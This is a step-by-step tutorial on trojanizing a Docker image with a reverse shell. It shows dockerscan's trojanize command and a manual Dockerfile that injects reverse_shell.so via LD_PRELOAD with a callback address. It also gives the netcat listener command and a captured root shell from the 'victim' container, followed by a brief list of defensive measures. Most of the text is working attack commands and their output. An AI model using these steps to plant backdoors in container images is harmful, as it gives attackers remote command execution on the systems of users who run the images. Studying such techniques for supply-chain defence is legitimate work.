Overview

Using trustworthy docker images is one of the most important parts of securing system. Easily, the attacker can prepare a docker image (by changing entrypoint, adding reverse shell or changing running user) and publish a malicious image on docker registry.

This section shows the way of trojanizing docker images by adding a reverse shell.

Precondition

For the testing purpose, it is needed to have nmap installed:

sudo apt update
sudo apt install -y nmap

The next step to be done is the dockerscan installation. It is analysis/hacking tool for docker images.

git clone https://github.com/cr0hn/dockerscan
cd dockerscan
sudo python3.6 setup.py install

Preparing exploited image - DockerScan

The image I choose for exploiting is ubuntu:latest. Let’s download it and save it into the backdoor folder.

mkdir backdoor && cd backdoor
docker pull ubuntu:latest
docker save ubuntu:latest -o ubuntu-orginal

Also, for proper dockerscan working, we need to set 2 environment variables by placing it to .bashrc file:

export LC_ALL=C.UTF-8
export LANG=C.UTF-8

Next step is to find IP address of the machine from which we listen for a message from trojanized image. For the purpose of this presentation, I would use docker host IP address in the same machine

ifconfig docker0
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:78:ec:8f:87  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0  

Now we can use dockerscan trojanize feature to add reverse shell into

dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
docker@docker:~/backdoor$ dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'ubuntu-orginal'
[ * ] Image trojanized successfully
[ * ] Trojanized image location:
[ * ]   > /home/docker/backdoor/ubuntu-trojanized.tar
[ * ] To receive the reverse shell, only write:
[ * ]   > nc -v -k -l 172.17.0.1 8888
docker@docker:~/backdoor$ ls
ubuntu-orginal  ubuntu-trojanized.tar

Next, it is needed to load the trojanized image:

docker load -i ubuntu-trojanized.tar 

The result should look like that:

3d87fd0aaa70: Loading layer [==================================================>]  30.72kB/30.72kB
Loaded image: ubuntu:latest

The image has been created attacker can run backdoor

Preparing exploited image - Manual Way

DockerScan use LD_PRELOAD , Linux dynamic linker feature to inject malicious reverse shell library. In this section would be shown how to achieve the same result in a manual way.

Before starting the manual process, let’s remove the trojanized image:

docker image rm ubuntu:latest --force

Preparing DockerFile

We would use the same reverse shell library placed in docker scan GitHub page (https://github.com/cr0hn/dockerscan/blob/master/dockerscan/actions/image/modifiers/shells/reverse_shell.so).

Let’s prepare DockerFile with revshell inside for the same ubuntu image

FROM ubuntu:latest

COPY reverse_shell.so /usr/share/lib/reverse_shell.so
ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
ENV REMOTE_ADDR=172.17.0.1
ENV REMOTE_PORT=8888

CMD ["/bin/bash"]

Dockerfile explanation:

File defined in this environment variable LD_PRELOAD would be loaded before any other library (including the C runtime, libc.so). So this runs the reverse shell library before user start his/her shell.

REMOTE_ADDR, REMOTE_PORT - environment variables needed by reverse_shell library

Now let’s build DockerFile

docker build --tag=ubuntu .

Result:

docker build --tag=ubuntu .
Sending build context to Docker daemon  12.29kB
Step 1/6 : FROM ubuntu:latest
 ---> d70eaf7277ea
Step 2/6 : COPY reverse_shell.so /usr/share/lib/reverse_shell.so
 ---> Using cache
 ---> 44a9ff4b409f
Step 3/6 : ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
 ---> Using cache
 ---> acad76bec7fa
Step 4/6 : ENV REMOTE_ADDR=172.17.0.1
 ---> Using cache
 ---> 7f37969b574a
Step 5/6 : ENV REMOTE_PORT=8888
 ---> Using cache
 ---> 4c658bdb781a
Step 6/6 : CMD ["/bin/bash"]
 ---> Using cache
 ---> a984d02509ff
Successfully built a984d02509ff
Successfully tagged ubuntu:latest

The image has been created attacker can run backdoor

Running backdoor

Next step would be to open in another tab netcat to listen on the IP we specified before with command:

nc -v -k -l 172.17.0.1 8888
Listening on jacek 8888

When netcat is listening from our IP is time to download trojanized container by the victim.

The last step is to run a shell on the infected image:

docker run -it ubuntu:latest /bin/bash

When user run trojanized shell netcat listener should connect through reverse shell to malicious container. So the attacker can remotely execute commands on the infected container.

➜  ~ nc -v -k -l 172.17.0.1 8888
Listening on jacek 8888
Connection received on 172.17.0.2 36408
connecting people
id
uid=0(root) gid=0(root) groups=0(root)

How to secure

  • Use private docker register that only your build server produce images
  • Never download docker images from untrusted repository maintainers
  • Limit registry write access to a minimum (In best case only build server)
  • Implement the signing of docker images (see: https://github.com/theupdateframework/notary)
  • Use docker custom security profiles like AppArmor, Seccomp
  • Use dynamic analysis tools like Remux

Sources